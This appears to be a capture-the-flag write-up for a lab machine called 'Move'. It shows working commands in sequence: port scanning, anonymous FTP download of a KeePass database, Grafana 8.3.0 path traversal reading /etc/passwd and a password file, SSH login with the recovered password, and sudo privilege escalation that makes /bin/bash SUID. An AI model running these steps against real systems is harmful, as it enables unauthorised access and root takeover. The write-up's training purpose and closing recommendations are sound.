Move

The writeup followed a structured approach that included the following phases:

1. **Information Gathering**: Initial reconnaissance to identify open ports and services.
2. **Vulnerability Analysis**: Identifying and analyzing vulnerabilities within the discovered services.
3. **Exploitation**: Attempting to exploit identified vulnerabilities to gain unauthorized access.
4. **Post-Exploitation**: Assessing the level of access gained and further exploitation possibilities.

Findings

Open Ports

```
sudo nmap -p- -sS --min-rate 5000 -n -Pn $IP | grep -oP '\d+(?=/tcp)' |
paste -sd ',' -
```

output

```
21,22,80,3000
```

Detailed scan

```
nmap -sCV $IP -oN nmap -Pn -p21,22,80,3000
```

output

```
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.6p1 Debian 4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Debian))
3000/tcp open  ppp?
```

FTP Anonymous Login

- **Service**: vsftpd 3.0.3
- **Vulnerability**: Anonymous FTP login allowed
- **Exploit**: Successfully logged in anonymously and downloaded `database.kdbx`.

```
ftp> get database.kdbx
```

Analysis:

- KDBX is the KeePass 2.x database file format, which stores sensitive data such as usernames and passwords.
- Attempted to crack the database file but it is not supported by current tools.

HTTP (Port 80)

- **Service**: Apache httpd 2.4.58
- **Finding**: Default Apache page
- **Fuzzing**: Discovered `/maintenance.html`

```
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-
Content/directory-list-2.3-medium.txt -t 200 -x txt,html,php
```

Analysis:

- The maintenance page revealed the path `/tmp/pass.txt`.

Grafana (Port 3000)

- **Service**: Grafana 8.3.0
- **Vulnerability**: Directory Traversal and Arbitrary File Read
- **Exploit**: Used exploit script to read sensitive files.

https://www.exploit-db.com/exploits/50581

Commands Used:

```
curl --path-as-is
http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/pas
swd -o passwd
curl --path-as-is
```

```
http://$IP:3000/public/plugins/alertlist/../../../../../../../../tmp/pass.txt
```

- Found user `freddy`
- Password: `t9sH76gpQ82UFeZ3GXZS`

SSH Access

- **Service**: OpenSSH 9.6p1
- **Action**: Logged in as user `freddy` using discovered credentials.

```
ssh freddy@$IP
Password: t9sH76gpQ82UFeZ3GXZS
```

Privilege Escalation

- **Finding**: User `freddy` can execute `/usr/bin/python3 /opt/maintenance.py` as sudo without password.
- **Exploit**: Modified the `maintenance.py` script to escalate privileges.

```
sudo -l
ls -la /opt/maintenance.py
```

```
echo 'import os' > /opt/maintenance.py
echo 'os.system("chmod 4777 /bin/bash")' >> /opt/maintenance.py
sudo /usr/bin/python3 /opt/maintenance.py
bash -p
```

Recommendations

1. **Disable Anonymous FTP**: Configure vsftpd to disable anonymous logins.
2. **Secure Web Applications**: Remove default pages and implement proper access controls.
3. **Update Grafana**: Patch Grafana to the latest version to mitigate known vulnerabilities.
4. **Restrict Sudo Permissions**: Limit sudo access to essential commands and regularly audit sudoers files.